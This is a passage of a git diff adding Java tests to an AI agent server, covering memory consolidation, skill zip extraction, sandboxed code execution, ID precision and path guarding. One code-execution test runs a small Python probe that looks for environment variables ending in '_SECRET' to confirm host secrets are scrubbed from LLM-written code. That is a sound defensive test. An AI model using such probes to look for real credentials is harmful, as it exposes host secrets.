agentGraphBuilder, props); + } + + @Test + @DisplayName("disabled flag skips entirely, never touching memory") + void disabledSkips() { + StructuredMemoryConsolidationService svc = newService(null); + props.setStructuredConsolidationEnabled(false); + + StructuredMemoryConsolidationService.ConsolidationStats stats = svc.consolidateAgent(AGENT_ID); + + assertEquals(0, stats.ownersConsolidated); + verify(memory, never()).readTypeRaw(anyLong(), anyString(), any()); + verify(memory, never()).replaceTypeEntries(anyLong(), anyString(), any(), any(), anyString()); + } + + @Test + @DisplayName("buckets below the min-entries gate are skipped without an LLM call") + void minEntriesSkips() { + StructuredMemoryConsolidationService svc = newService(null); + when(memory.readTypeRaw(AGENT_ID, "user", null)).thenReturn("small"); + when(memory.countEntries("small")).thenReturn(5); // < 8 + + StructuredMemoryConsolidationService.ConsolidationStats stats = svc.consolidateAgent(AGENT_ID); + + assertEquals(1, stats.skippedSmall); + assertEquals(0, stats.ownersConsolidated); + verify(memory, never()).replaceTypeEntries(anyLong(), anyString(), any(), any(), anyString()); + } + + @Test + @DisplayName("unparseable LLM output is skipped, leaving the bucket untouched") + void invalidJsonSkips() { + StructuredMemoryConsolidationService svc = newService("this is not json at all"); + when(memory.readTypeRaw(AGENT_ID, "user", null)).thenReturn("body"); + when(memory.countEntries("body")).thenReturn(10); + + StructuredMemoryConsolidationService.ConsolidationStats stats = svc.consolidateAgent(AGENT_ID); + + assertEquals(1, stats.ownersConsolidated); + assertEquals(0, stats.updated); + verify(memory, never()).replaceTypeEntries(anyLong(), anyString(), any(), any(), anyString()); + } + + @Test + @DisplayName("shouldUpdate=false is respected — no write") + void shouldUpdateFalseSkips() { + StructuredMemoryConsolidationService svc = + newService("{\"shouldUpdate\":false,\"entries\":[],\"reason\":\"already concise\"}"); + when(memory.readTypeRaw(AGENT_ID, "user", null)).thenReturn("body"); + when(memory.countEntries("body")).thenReturn(10); + + StructuredMemoryConsolidationService.ConsolidationStats stats = svc.consolidateAgent(AGENT_ID); + + assertEquals(0, stats.updated); + verify(memory, never()).replaceTypeEntries(anyLong(), anyString(), any(), any(), anyString()); + } + + @Test + @DisplayName("a result that grows the entry count is rejected") + void growthRejected() { + String reply = "{\"shouldUpdate\":true,\"entries\":[" + + "{\"key\":\"a\",\"content\":\"x\"},{\"key\":\"b\",\"content\":\"y\"},{\"key\":\"c\",\"content\":\"z\"}" + + "],\"reason\":\"split\"}"; + StructuredMemoryConsolidationService svc = newService(reply); + when(memory.readTypeRaw(AGENT_ID, "user", null)).thenReturn("body"); + when(memory.countEntries("body")).thenReturn(2); // 3 produced > 2 existing + props.setStructuredConsolidationMinEntries(2); + + StructuredMemoryConsolidationService.ConsolidationStats stats = svc.consolidateAgent(AGENT_ID); + + assertEquals(0, stats.updated); + verify(memory, never()).replaceTypeEntries(anyLong(), anyString(), any(), any(), anyString()); + } + + @Test + @DisplayName("a genuine reduction is written back") + void successReplaces() { + String reply = "{\"shouldUpdate\":true,\"entries\":[" + + "{\"key\":\"reply_style\",\"content\":\"concise\"},{\"key\":\"language\",\"content\":\"chinese\"}" + + "],\"reason\":\"merged duplicates\"}"; + StructuredMemoryConsolidationService svc = newService(reply); + when(memory.readTypeRaw(AGENT_ID, "user", null)).thenReturn("body"); + when(memory.countEntries("body")).thenReturn(10); + + StructuredMemoryConsolidationService.ConsolidationStats stats = svc.consolidateAgent(AGENT_ID); + + assertEquals(1, stats.updated); + assertEquals(10, stats.entriesBefore); + assertEquals(2, stats.entriesAfter); + + @SuppressWarnings("unchecked") + ArgumentCaptor> captor = ArgumentCaptor.forClass(LinkedHashMap.class); + verify(memory).replaceTypeEntries(eq(AGENT_ID), eq("user"), isNull(), captor.capture(), eq("consolidation")); + assertEquals(2, captor.getValue().size()); + assertTrue(captor.getValue().containsKey("reply_style")); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/memory/service/StructuredMemoryPrefetchTest.java b/mateclaw-server/src/test/java/vip/mate/memory/service/StructuredMemoryPrefetchTest.java index 7992911a..00420845 100644 --- a/mateclaw-server/src/test/java/vip/mate/memory/service/StructuredMemoryPrefetchTest.java +++ b/mateclaw-server/src/test/java/vip/mate/memory/service/StructuredMemoryPrefetchTest.java @@ -2,8 +2,13 @@ package vip.mate.memory.service; import org.junit.jupiter.api.DisplayName; import org.junit.jupiter.api.Test; +import org.mockito.ArgumentCaptor; import org.springframework.context.ApplicationEventPublisher; +import vip.mate.memory.MemoryProperties; import vip.mate.workspace.document.WorkspaceFileService; + +import java.time.LocalDate; +import java.util.LinkedHashMap; import vip.mate.workspace.document.model.WorkspaceFileEntity; import static org.junit.jupiter.api.Assertions.*; @@ -28,7 +33,7 @@ class StructuredMemoryPrefetchTest { if (userMd != null) { when(files.getFile(AGENT_ID, "structured/user.md")).thenReturn(fileWith(userMd)); } - return new StructuredMemoryService(files, mock(ApplicationEventPublisher.class)); + return new StructuredMemoryService(files, mock(ApplicationEventPublisher.class), new MemoryProperties()); } private WorkspaceFileEntity fileWith(String content) { @@ -121,7 +126,7 @@ class StructuredMemoryPrefetchTest { WorkspaceFileEntity ref = new WorkspaceFileEntity(); ref.setContent("## api_endpoint\n参考:订单查询接口 /api/orders。\n> Source: agent | Updated: 2026-05-29"); when(files.getFile(AGENT_ID, "structured/reference.md")).thenReturn(ref); - StructuredMemoryService svc = new StructuredMemoryService(files, mock(ApplicationEventPublisher.class)); + StructuredMemoryService svc = new StructuredMemoryService(files, mock(ApplicationEventPublisher.class), new MemoryProperties()); String block = svc.buildPrefetchBlock(AGENT_ID, "订单查询接口参考是什么?"); @@ -140,4 +145,88 @@ class StructuredMemoryPrefetchTest { assertEquals("", svc.buildPrefetchBlock(AGENT_ID, "")); assertEquals("", svc.buildPrefetchBlock(AGENT_ID, null)); } + + @Test + @DisplayName("system prompt block enforces the char budget, keeping newest entries") + void systemBlockEnforcesCharBudget() { + // Five user entries, each ~60 chars, oldest to newest by update date. + StringBuilder userMd = new StringBuilder(); + for (int i = 1; i <= 5; i++) { + userMd.append("## fact_").append(i) + .append("\nThis is a reasonably long stored preference number ").append(i).append(".") + .append("\n> Source: agent | Updated: 2026-05-0").append(i).append("\n\n"); + } + WorkspaceFileService files = mock(WorkspaceFileService.class); + when(files.getFile(eq(AGENT_ID), anyString())).thenReturn(null); + when(files.getFile(AGENT_ID, "structured/user.md")).thenReturn(fileWith(userMd.toString())); + + MemoryProperties props = new MemoryProperties(); + props.setSystemBlockMaxChars(160); + StructuredMemoryService svc = new StructuredMemoryService( + files, mock(ApplicationEventPublisher.class), props); + + String block = svc.buildMemoryBlock(AGENT_ID); + + // The whole rendered block (headers + bullets + omission note) is bounded. + assertTrue(block.length() <= 160, "rendered block must not exceed the char budget, was " + block.length()); + // Newest entries survive, oldest are dropped, and the omission is disclosed. + assertTrue(block.contains("fact_5"), "newest entry must be kept"); + assertFalse(block.contains("fact_1"), "oldest entry must be evicted under budget"); + assertTrue(block.contains("older memory entries omitted"), "omission must be disclosed"); + } + + @Test + @DisplayName("replaceTypeEntries preserves prior update dates and does not blanket-stamp today") + void replaceTypeEntriesPreservesDates() { + WorkspaceFileService files = mock(WorkspaceFileService.class); + when(files.getFile(eq(AGENT_ID), anyString())).thenReturn(null); + when(files.getFile(AGENT_ID, "structured/user.md")).thenReturn( + fileWith("## a\nold value\n> Source: agent | Updated: 2026-01-01")); + StructuredMemoryService svc = new StructuredMemoryService( + files, mock(ApplicationEventPublisher.class), new MemoryProperties()); + + LinkedHashMap entries = new LinkedHashMap<>(); + entries.put("a", "consolidated value"); // existing key — keeps its date + entries.put("b", "newly merged fact"); // new key — inherits newest prior date + svc.replaceTypeEntries(AGENT_ID, "user", null, entries, "consolidation"); + + ArgumentCaptor captor = ArgumentCaptor.forClass(String.class); + verify(files).saveFile(eq(AGENT_ID), eq("structured/user.md"), captor.capture()); + String written = captor.getValue(); + + // The existing key keeps its original date; the merged key inherits it too; + // nothing is freshly stamped with today's date. + assertTrue(written.indexOf("2026-01-01") != written.lastIndexOf("2026-01-01"), + "both entries should carry the preserved prior date"); + assertFalse(written.contains(LocalDate.now().toString()), + "consolidation must not blanket-stamp entries with today's date"); + } + + @Test + @DisplayName("replaceTypeEntries writes canonical format and round-trips into the always-on block") + void replaceTypeEntriesRoundTrips() { + WorkspaceFileService files = mock(WorkspaceFileService.class); + when(files.getFile(eq(AGENT_ID), anyString())).thenReturn(null); + StructuredMemoryService svc = new StructuredMemoryService( + files, mock(ApplicationEventPublisher.class), new MemoryProperties()); + + LinkedHashMap entries = new LinkedHashMap<>(); + entries.put("reply_style", "偏好简洁直接的回答。"); + entries.put("language", "始终用中文回答。"); + svc.replaceTypeEntries(AGENT_ID, "user", null, entries, "consolidation"); + + ArgumentCaptor captor = ArgumentCaptor.forClass(String.class); + verify(files).saveFile(eq(AGENT_ID), eq("structured/user.md"), captor.capture()); + String written = captor.getValue(); + + assertTrue(written.contains("## reply_style"), "key header must be written"); + assertTrue(written.contains("## language"), "second key header must be written"); + assertTrue(written.contains("> Source: consolidation | Updated:"), "metadata line must be written"); + + // The rewritten file round-trips back through the always-on block. + when(files.getFile(AGENT_ID, "structured/user.md")).thenReturn(fileWith(written)); + String block = svc.buildMemoryBlock(AGENT_ID); + assertTrue(block.contains("reply_style") && block.contains("language"), + "consolidated entries must be readable as always-on memory"); + } } diff --git a/mateclaw-server/src/test/java/vip/mate/skill/installer/ZipSkillFetcherTest.java b/mateclaw-server/src/test/java/vip/mate/skill/installer/ZipSkillFetcherTest.java index 0037c325..6e5606d0 100644 --- a/mateclaw-server/src/test/java/vip/mate/skill/installer/ZipSkillFetcherTest.java +++ b/mateclaw-server/src/test/java/vip/mate/skill/installer/ZipSkillFetcherTest.java @@ -205,6 +205,44 @@ class ZipSkillFetcherTest { assertEquals("#!/bin/sh\n", ex.scripts().get("setup.sh")); } + private record RawEntry(String name, byte[] content) {} + + private static byte[] zipOfRaw(List entries) throws IOException { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + try (ZipOutputStream zos = new ZipOutputStream(baos, StandardCharsets.UTF_8)) { + for (RawEntry e : entries) { + zos.putNextEntry(new ZipEntry(e.name())); + zos.write(e.content()); + zos.closeEntry(); + } + } + return baos.toByteArray(); + } + + @Test + @DisplayName("Binary entry under scripts/ is skipped, not stored corrupted (#273)") + void binaryEntryInScriptsIsSkipped() throws IOException { + // A PNG header carries a NUL byte; decoding it as UTF-8 would replace + // bytes with U+FFFD and persist a corrupted "text" file. The fetcher + // must drop it (with a WARN) while keeping the legitimate text script. + byte[] pngBytes = new byte[]{(byte) 0x89, 'P', 'N', 'G', 0x00, 0x1A, 0x0A, 'x'}; + byte[] zip = zipOfRaw(List.of( + new RawEntry("pkg/SKILL.md", SKILL_MD.getBytes(StandardCharsets.UTF_8)), + new RawEntry("pkg/scripts/run.py", "print('ok')\n".getBytes(StandardCharsets.UTF_8)), + new RawEntry("pkg/scripts/logo.png", pngBytes), + new RawEntry("pkg/references/font.woff", new byte[]{'w', 'O', 'F', 'F', 0x00, 0x01}) + )); + + ZipSkillFetcher.ExtractedSkill ex = ZipSkillFetcher.extract(new ByteArrayInputStream(zip)); + + // Text script survives; both binaries are dropped (no corrupted entry). + assertEquals(Map.of("run.py", "print('ok')\n"), ex.scripts(), + "Binary logo.png must not be stored; the text script stays"); + assertTrue(ex.references().isEmpty(), + "Binary font.woff must not be stored as corrupted text"); + assertFalse(ex.scripts().containsKey("logo.png")); + } + @Test @DisplayName("GBK-encoded entry names (Windows-authored zip) fall back from UTF-8 to GBK") void extractsGbkEncodedNames() throws IOException { diff --git a/mateclaw-server/src/test/java/vip/mate/skill/runtime/SkillScriptExecutionServiceCodeTest.java b/mateclaw-server/src/test/java/vip/mate/skill/runtime/SkillScriptExecutionServiceCodeTest.java new file mode 100644 index 00000000..07c278c5 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/skill/runtime/SkillScriptExecutionServiceCodeTest.java @@ -0,0 +1,139 @@ +package vip.mate.skill.runtime; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.io.TempDir; + +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.List; +import java.util.Locale; +import java.util.Map; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.junit.jupiter.api.Assumptions.assumeTrue; + +/** + * Tests for {@link SkillScriptExecutionService#executeCode}, the inline + * code-execution entry point that makes documentation-only skills runnable. + * + *

    Subprocess-backed cases are gated on the interpreter being present so the + * suite stays green on hosts without python / bash (e.g. Windows CI). + */ +class SkillScriptExecutionServiceCodeTest { + + private static final boolean IS_WINDOWS = + System.getProperty("os.name", "").toLowerCase(Locale.ROOT).contains("win"); + + private final SkillScriptExecutionService service = new SkillScriptExecutionService(); + + @Test + @DisplayName("rejects an unsupported language") + void rejectsUnknownLanguage(@TempDir Path dir) { + var result = service.executeCode("ruby", "puts 1", dir, null, Map.of(), null); + assertThat(result.getExitCode()).isEqualTo(-1); + assertThat(result.getStderr()).contains("Unsupported language"); + } + + @Test + @DisplayName("rejects blank code") + void rejectsBlankCode(@TempDir Path dir) { + var result = service.executeCode("python", " ", dir, null, Map.of(), null); + assertThat(result.getExitCode()).isEqualTo(-1); + assertThat(result.getStderr()).contains("No code supplied"); + } + + @Test + @DisplayName("rejects a non-existent caller-supplied working directory") + void rejectsMissingWorkingDir() { + var result = service.executeCode("python", "print(1)", + Path.of("/no/such/dir/" + System.nanoTime()), null, Map.of(), null); + assertThat(result.getExitCode()).isEqualTo(-1); + assertThat(result.getStderr()).contains("Working directory does not exist"); + } + + @Test + @DisplayName("runs in a private scratch dir when working directory is null") + void runsWithNullWorkingDir() { + assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3")); + var result = service.executeCode("python", "print('scratch-ok')", null, null, Map.of(), null); + assertThat(result.getExitCode()).isZero(); + assertThat(result.getStdout()).contains("scratch-ok"); + } + + @Test + @DisplayName("runs python code and captures stdout") + void runsPython(@TempDir Path dir) { + assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3")); + var result = service.executeCode("python", "print('hello from py')", dir, null, Map.of(), null); + assertThat(result.getExitCode()).isZero(); + assertThat(result.getStdout()).contains("hello from py"); + } + + @Test + @DisplayName("injects supplied env vars into the subprocess") + void injectsEnvVars(@TempDir Path dir) { + assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3")); + var result = service.executeCode("python", + "import os; print(os.environ.get('MY_SKILL_TOKEN'))", + dir, null, Map.of("MY_SKILL_TOKEN", "s3cr3t"), null); + assertThat(result.getExitCode()).isZero(); + assertThat(result.getStdout()).contains("s3cr3t"); + } + + @Test + @DisplayName("scrubs sensitive host env vars from the code subprocess") + void scrubsSensitiveHostEnv(@TempDir Path dir) { + assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3")); + // A *_KEY name in the parent process must not leak into LLM-authored code. + // We can't set the parent env here, but PATH-like vars survive while any + // KEY/SECRET/TOKEN parent var is stripped — assert a known scrubbed name + // is absent rather than relying on a specific host secret being set. + var result = service.executeCode("python", + "import os; print('LEAK' if any(k.endswith('_SECRET') for k in os.environ) else 'CLEAN')", + dir, null, Map.of(), null); + assertThat(result.getExitCode()).isZero(); + assertThat(result.getStdout()).contains("CLEAN"); + } + + @Test + @DisplayName("runs bash code on unix") + void runsBash(@TempDir Path dir) { + assumeTrue(!IS_WINDOWS && hasInterpreter("bash")); + var result = service.executeCode("bash", "echo from-bash", dir, null, Map.of(), null); + assertThat(result.getExitCode()).isZero(); + assertThat(result.getStdout()).contains("from-bash"); + } + + @Test + @DisplayName("forwards positional args to the program") + void forwardsArgs(@TempDir Path dir) { + assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3")); + var result = service.executeCode("python", + "import sys; print(sys.argv[1])", dir, List.of("the-arg"), Map.of(), null); + assertThat(result.getExitCode()).isZero(); + assertThat(result.getStdout()).contains("the-arg"); + } + + @Test + @DisplayName("leaves no temp code file behind in the working directory") + void cleansUpTempFile(@TempDir Path dir) { + assumeTrue(hasInterpreter(IS_WINDOWS ? "python" : "python3")); + service.executeCode("python", "print('x')", dir, null, Map.of(), null); + try (var stream = Files.list(dir)) { + assertThat(stream.toList()).isEmpty(); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + private static boolean hasInterpreter(String name) { + try { + Process p = new ProcessBuilder(name, "--version") + .redirectErrorStream(true).start(); + return p.waitFor(10, java.util.concurrent.TimeUnit.SECONDS) && p.exitValue() == 0; + } catch (Exception e) { + return false; + } + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/skill/workspace/SkillWorkspaceManagerPathTest.java b/mateclaw-server/src/test/java/vip/mate/skill/workspace/SkillWorkspaceManagerPathTest.java new file mode 100644 index 00000000..df762dd4 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/skill/workspace/SkillWorkspaceManagerPathTest.java @@ -0,0 +1,57 @@ +package vip.mate.skill.workspace; + +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.io.TempDir; +import org.springframework.context.ApplicationEventPublisher; + +import java.nio.file.Path; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.Mockito.mock; + +/** + * Regression tests for {@link SkillWorkspaceManager#resolveConventionPath}. + * + *

    Issue #254: non-ASCII (e.g. Chinese) skill names collapsed to underscores in the + * workspace path, so distinct names resolved to the same directory and overwrote each + * other. The fix preserves Unicode letters/digits so distinct names map to distinct + * directories. The path is the bare sanitized name (no {@code -hash} suffix), so ASCII + * workspace paths stay stable across upgrades. + */ +class SkillWorkspaceManagerPathTest { + + @TempDir + Path tmp; + + private SkillWorkspaceManager newManager() { + SkillWorkspaceProperties props = new SkillWorkspaceProperties(); + props.setRoot(tmp.toString()); + return new SkillWorkspaceManager(props, mock(ApplicationEventPublisher.class)); + } + + @Test + @DisplayName("distinct non-ASCII names resolve to distinct directories (no collision)") + void nonAsciiNamesDoNotCollide() { + SkillWorkspaceManager m = newManager(); + Path a = m.resolveConventionPath("我的技能"); + Path b = m.resolveConventionPath("你的技能"); + assertNotEquals(a, b, "Chinese names must not collapse to the same directory"); + assertTrue(a.getFileName().toString().contains("我的技能"), "Unicode letters must be preserved"); + assertTrue(b.getFileName().toString().contains("你的技能"), "Unicode letters must be preserved"); + } + + @Test + @DisplayName("ASCII name maps to the bare sanitized name with no -hash suffix") + void asciiNameKeepsBarePath() { + SkillWorkspaceManager m = newManager(); + assertEquals(tmp.resolve("my-skill"), m.resolveConventionPath("my-skill")); + } + + @Test + @DisplayName("path is deterministic for the same name") + void deterministicForSameName() { + SkillWorkspaceManager m = newManager(); + assertEquals(m.resolveConventionPath("demo"), m.resolveConventionPath("demo")); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/tool/builtin/CodeExecuteToolArgsTest.java b/mateclaw-server/src/test/java/vip/mate/tool/builtin/CodeExecuteToolArgsTest.java new file mode 100644 index 00000000..6444d4a1 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/tool/builtin/CodeExecuteToolArgsTest.java @@ -0,0 +1,59 @@ +package vip.mate.tool.builtin; + +import com.fasterxml.jackson.databind.ObjectMapper; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; + +import java.util.List; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * Unit tests for {@link CodeExecuteTool#normalizeArgs(String)} — the decode step + * that turns the JSON-encoded {@code args} tool parameter into the positional + * argument list passed to the executed code. + * + *

    Unlike a skill script, inline code rarely needs a JSON payload, so the rule + * is simpler than {@code SkillScriptTool}: a JSON array expands to one argument + * per element; everything else (including a bare scalar that merely looks + * numeric) is forwarded verbatim as a single argument. + */ +class CodeExecuteToolArgsTest { + + private final ObjectMapper objectMapper = new ObjectMapper(); + + /** Unused collaborators are null — {@code normalizeArgs} only needs the mapper. */ + private final CodeExecuteTool tool = + new CodeExecuteTool(null, null, null, objectMapper); + + @Test + @DisplayName("null / blank / empty-array args yield no argument list") + void emptyInputs() { + assertThat(tool.normalizeArgs(null)).isNull(); + assertThat(tool.normalizeArgs("")).isNull(); + assertThat(tool.normalizeArgs(" ")).isNull(); + assertThat(tool.normalizeArgs("[]")).isNull(); + } + + @Test + @DisplayName("a JSON array maps to one positional argument per element") + void arrayKeepsElements() { + assertThat(tool.normalizeArgs("[\"--verbose\",\"input.txt\"]")) + .containsExactly("--verbose", "input.txt"); + assertThat(tool.normalizeArgs("[1,2,3]")) + .containsExactly("1", "2", "3"); + } + + @Test + @DisplayName("a bare scalar is forwarded verbatim, never JSON-decoded") + void bareScalarUntouched() { + assertThat(tool.normalizeArgs("2026-05-19")).containsExactly("2026-05-19"); + assertThat(tool.normalizeArgs(" hello world ")).containsExactly("hello world"); + } + + @Test + @DisplayName("text that looks like a JSON array but does not parse is forwarded verbatim") + void malformedArrayForwardedVerbatim() { + assertThat(tool.normalizeArgs("[1,2")).containsExactly("[1,2"); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/tool/builtin/CronJobToolIdPrecisionTest.java b/mateclaw-server/src/test/java/vip/mate/tool/builtin/CronJobToolIdPrecisionTest.java new file mode 100644 index 00000000..3c175c76 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/tool/builtin/CronJobToolIdPrecisionTest.java @@ -0,0 +1,55 @@ +package vip.mate.tool.builtin; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.json.JsonMapper; +import com.fasterxml.jackson.databind.module.SimpleModule; +import com.fasterxml.jackson.databind.ser.std.ToStringSerializer; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import vip.mate.cron.model.CronJobDTO; +import vip.mate.cron.service.CronJobService; + +import java.util.List; + +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +/** + * Issue #319 (same class as the datasource fix): a 19-digit Snowflake {@code jobId} + * must reach the model as a JSON string, not a number — otherwise it loses its low + * digits when the model copies it back into toggle_cron_job / delete_cron_job and + * the wrong (or no) job is hit. + */ +class CronJobToolIdPrecisionTest { + + private static ObjectMapper idSafeMapper() { + SimpleModule m = new SimpleModule(); + m.addSerializer(Long.class, ToStringSerializer.instance); + m.addSerializer(Long.TYPE, ToStringSerializer.instance); + return JsonMapper.builder().addModule(m).build(); + } + + @Test + @DisplayName("list_cron_jobs emits jobId as a quoted JSON string, never a bare number") + void listCronJobs_jobIdIsString() { + long bigId = 2064875200729235458L; + CronJobDTO job = new CronJobDTO(); + job.setId(bigId); + job.setName("Daily summary"); + job.setEnabled(true); + + CronJobService service = mock(CronJobService.class); + when(service.list(any())).thenReturn(List.of(job)); + CronJobTool tool = new CronJobTool(service, idSafeMapper()); + + String out = tool.list_cron_jobs(null); + + assertTrue(out.contains("\"" + bigId + "\""), + "jobId must appear as a quoted string so its 19 digits survive; got: " + out); + assertFalse(out.contains(": " + bigId) || out.contains(":" + bigId), + "jobId must NOT appear as a bare JSON number"); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/tool/builtin/DatasourceToolIdPrecisionTest.java b/mateclaw-server/src/test/java/vip/mate/tool/builtin/DatasourceToolIdPrecisionTest.java new file mode 100644 index 00000000..ca20f78a --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/tool/builtin/DatasourceToolIdPrecisionTest.java @@ -0,0 +1,59 @@ +package vip.mate.tool.builtin; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.json.JsonMapper; +import com.fasterxml.jackson.databind.ser.std.ToStringSerializer; +import com.fasterxml.jackson.databind.module.SimpleModule; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import vip.mate.datasource.model.DatasourceEntity; +import vip.mate.datasource.service.DatasourceConnectionManager; +import vip.mate.datasource.service.DatasourceService; + +import java.util.List; + +import static org.junit.jupiter.api.Assertions.assertFalse; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +/** + * Issue #319: a 19-digit Snowflake datasource id must reach the model as a JSON + * string, not a number. As a number it loses its low digits when it round-trips + * through a double / JS Number on the way back into a follow-up tool call (and in + * the chat UI), so the looked-up datasource is "not found". The tool serializes + * through the application ObjectMapper, which renders every Long as a string — + * the same id-safety policy the HTTP API already applies. + */ +class DatasourceToolIdPrecisionTest { + + /** Mirrors the application ObjectMapper: every Long serializes as a string. */ + private static ObjectMapper idSafeMapper() { + SimpleModule m = new SimpleModule(); + m.addSerializer(Long.class, ToStringSerializer.instance); + m.addSerializer(Long.TYPE, ToStringSerializer.instance); + return JsonMapper.builder().addModule(m).build(); + } + + @Test + @DisplayName("list_datasources emits the id as a quoted JSON string, never a bare number") + void listDatasources_idIsString() { + long bigId = 2064875200729235458L; + DatasourceEntity ds = new DatasourceEntity(); + ds.setId(bigId); + ds.setName("prod-mysql"); + ds.setDbType("mysql"); + ds.setDatabaseName("app"); + + DatasourceService service = mock(DatasourceService.class); + when(service.listEnabled()).thenReturn(List.of(ds)); + DatasourceTool tool = new DatasourceTool(service, mock(DatasourceConnectionManager.class), idSafeMapper()); + + String out = tool.query_datasource("list_datasources", null, null); + + assertTrue(out.contains("\"" + bigId + "\""), + "id must appear as a quoted string so its 19 digits survive the round-trip; got: " + out); + assertFalse(out.contains(": " + bigId) || out.contains(":" + bigId), + "id must NOT appear as a bare JSON number (precision-lossy across double/JS Number)"); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/tool/builtin/DelegateAsyncTaskOutputAttributionTest.java b/mateclaw-server/src/test/java/vip/mate/tool/builtin/DelegateAsyncTaskOutputAttributionTest.java index acdf2eef..c336a0ef 100644 --- a/mateclaw-server/src/test/java/vip/mate/tool/builtin/DelegateAsyncTaskOutputAttributionTest.java +++ b/mateclaw-server/src/test/java/vip/mate/tool/builtin/DelegateAsyncTaskOutputAttributionTest.java @@ -195,7 +195,7 @@ class DelegateAsyncTaskOutputAttributionTest { private ToolContext makeCtx(String requester, String conversationId) { ChatOrigin origin = new ChatOrigin( - 1L, conversationId, requester, null, null, null, null, false, null, null, null); + 1L, conversationId, requester, null, null, null, null, false, null, null, null, null); Map map = new HashMap<>(); map.put(ChatOrigin.CTX_KEY, origin); return new ToolContext(map); diff --git a/mateclaw-server/src/test/java/vip/mate/tool/builtin/DelegateAsyncToolTest.java b/mateclaw-server/src/test/java/vip/mate/tool/builtin/DelegateAsyncToolTest.java index 32956b8f..2faa923e 100644 --- a/mateclaw-server/src/test/java/vip/mate/tool/builtin/DelegateAsyncToolTest.java +++ b/mateclaw-server/src/test/java/vip/mate/tool/builtin/DelegateAsyncToolTest.java @@ -388,7 +388,7 @@ class DelegateAsyncToolTest { private ToolContext makeCtx(String requester, String conversationId) { ChatOrigin origin = new ChatOrigin( - 1L, conversationId, requester, null, null, null, null, false, null, null, null); + 1L, conversationId, requester, null, null, null, null, false, null, null, null, null); Map map = new HashMap<>(); map.put(ChatOrigin.CTX_KEY, origin); return new ToolContext(map); diff --git a/mateclaw-server/src/test/java/vip/mate/tool/builtin/DocumentExtractToolTrustedPathTest.java b/mateclaw-server/src/test/java/vip/mate/tool/builtin/DocumentExtractToolTrustedPathTest.java new file mode 100644 index 00000000..d28f567d --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/tool/builtin/DocumentExtractToolTrustedPathTest.java @@ -0,0 +1,120 @@ +package vip.mate.tool.builtin; + +import cn.hutool.json.JSONObject; +import cn.hutool.json.JSONUtil; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.condition.DisabledOnOs; +import org.junit.jupiter.api.condition.OS; +import org.junit.jupiter.api.io.TempDir; +import vip.mate.tool.guard.WorkspacePathGuard; + +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.zip.ZipEntry; +import java.util.zip.ZipOutputStream; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * Regression coverage for issue #323: uploading a .docx (or any binary file) to + * the wiki failed with "No text content available". + * + *

    Root cause: the wiki ingest pipeline stages uploads under its own upload + * directory (default {@code ./data/wiki-uploads}) and feeds that path back into + * {@link DocumentExtractTool} for text extraction. With the workspace sandbox + * enabled (the default), the global fallback root is {@code ./data/workspace} — + * a sibling of the upload dir. The boundary guard therefore rejected the + * server's own staged path as "outside workspace boundary", the extractor + * returned {@code success=false}, and the wiki fell back to a null body. + * + *

    The fix routes the internal, server-controlled path through + * {@link DocumentExtractTool#extractTrustedDocument} which skips the LLM-oriented + * boundary guard. These tests pin both halves: the guarded tool entry still + * rejects an out-of-sandbox path (demonstrating the bug), and the trusted entry + * extracts it successfully (verifying the fix). + */ +@DisabledOnOs(OS.WINDOWS) // POSIX-style absolute paths / sandbox roots in these cases +class DocumentExtractToolTrustedPathTest { + + private static final String TOKEN = "REGRESSION_TOKEN_323"; + + private final DocumentExtractTool tool = new DocumentExtractTool(); + + @TempDir + Path sandboxRoot; // stands in for ./data/workspace + + @TempDir + Path uploadDir; // stands in for ./data/wiki-uploads (a sibling, outside the sandbox) + + private Path docx; + + @BeforeEach + void setup() throws Exception { + // Simulate the out-of-the-box state: sandbox enabled with a fallback root, + // no per-conversation workspace configured. + ToolExecutionContext.clear(); + WorkspacePathGuard.setDefaultRoot(sandboxRoot.toString()); + docx = uploadDir.resolve(System.currentTimeMillis() + "_regression-323.docx"); + writeMinimalDocx(docx, TOKEN + " hello world"); + } + + @AfterEach + void teardown() { + ToolExecutionContext.clear(); + WorkspacePathGuard.setDefaultRoot(null); + 